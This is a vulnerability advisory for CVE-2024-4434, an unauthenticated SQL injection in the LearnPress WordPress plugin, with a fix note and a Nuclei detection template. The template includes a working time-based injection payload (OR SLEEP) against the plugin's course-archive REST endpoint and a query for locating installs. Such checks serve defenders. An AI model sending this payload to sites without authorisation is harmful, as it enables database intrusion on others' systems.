CVE-2024-4434· thimpress / learnpress
LearnPress WordPress LMS Plugin <= 4.2.6.5 - SQL Injection
The LearnPress WordPress LMS Plugin plugin for WordPress is vulnerable to time-based SQL Injection via the ‘term_id’ parameter in versions up to, and including, 4.2.6.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
Unauthenticated attackers can execute time-based SQL injection to extract sensitive database information.
Fix
Update LearnPress to version 4.2.6.6 or later.
How to confirm it
Send: GET / ; @timeout 20s
Positive when: duration_2 >= 6 and status_code_2 == 200 and contains(content_type,"application/json") and contains_all(body_2,"No courses were found","success")Run it with nuclei: nuclei -id CVE-2024-4434 -u <target>
The full check
id: CVE-2024-4434
info:
name: LearnPress WordPress LMS Plugin <= 4.2.6.5 - SQL Injection
author: s4e-io
severity: critical
description: |
The LearnPress WordPress LMS Plugin plugin for WordPress is vulnerable to time-based SQL Injection via the ‘term_id’ parameter in versions up to, and including, 4.2.6.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Unauthenticated attackers can execute time-based SQL injection to extract sensitive database information.
remediation: |
Update LearnPress to version 4.2.6.6 or later.
reference:
- https://inky-knuckle-2c2.notion.site/Unauthenticated-SQLI-in-Learnpress-plugin-Version-4-2-6-5-a86fe63bcc7b4c9988802688211817fd
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/learnpress/learnpress-wordpress-lms-plugin-4265-unauthenticated-time-based-sql-injection
- https://nvd.nist.gov/vuln/detail/CVE-2024-4434
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-4434
epss-score: 0.36925
epss-percentile: 0.98525
cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:wordpress:*:*:*
metadata:
verified: true
max-request: 2
publicwww-query: "/wp-content/plugins/learnpress"
product: learnpress
vendor: thimpress
tags: cve,cve2024,wp,wp-plugin,wordpress,sqli,learnpress,vkev,vuln
variables:
num: "{{rand_int(10000, 99999)}}"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
@timeout 20s
POST /wp-json/lp/v1/courses/archive-course?term_id={{num}})+OR+SLEEP(6)+--+A HTTP/1.1
Host: {{Hostname}}
X-WP-Nonce: {{nonce}}
matchers:
- type: dsl
dsl:
- "duration_2 >= 6"
- "status_code_2 == 200"
- 'contains(content_type,"application/json")'
- 'contains_all(body_2,"No courses were found","success")'
condition: and
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- '"nonce":"([a-z0-9]+)","is_course_archive"'
internal: trueReferences
- https://inky-knuckle-2c2.notion.site/Unauthenticated-SQLI-in-Learnpress-plugin-Version-4-2-6-5-a86fe63bcc7b4c9988802688211817fd
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/learnpress/learnpress-wordpress-lms-plugin-4265-unauthenticated-time-based-sql-injection
- https://nvd.nist.gov/vuln/detail/CVE-2024-4434
Use this check only on systems you are authorised to test. Where the data comes from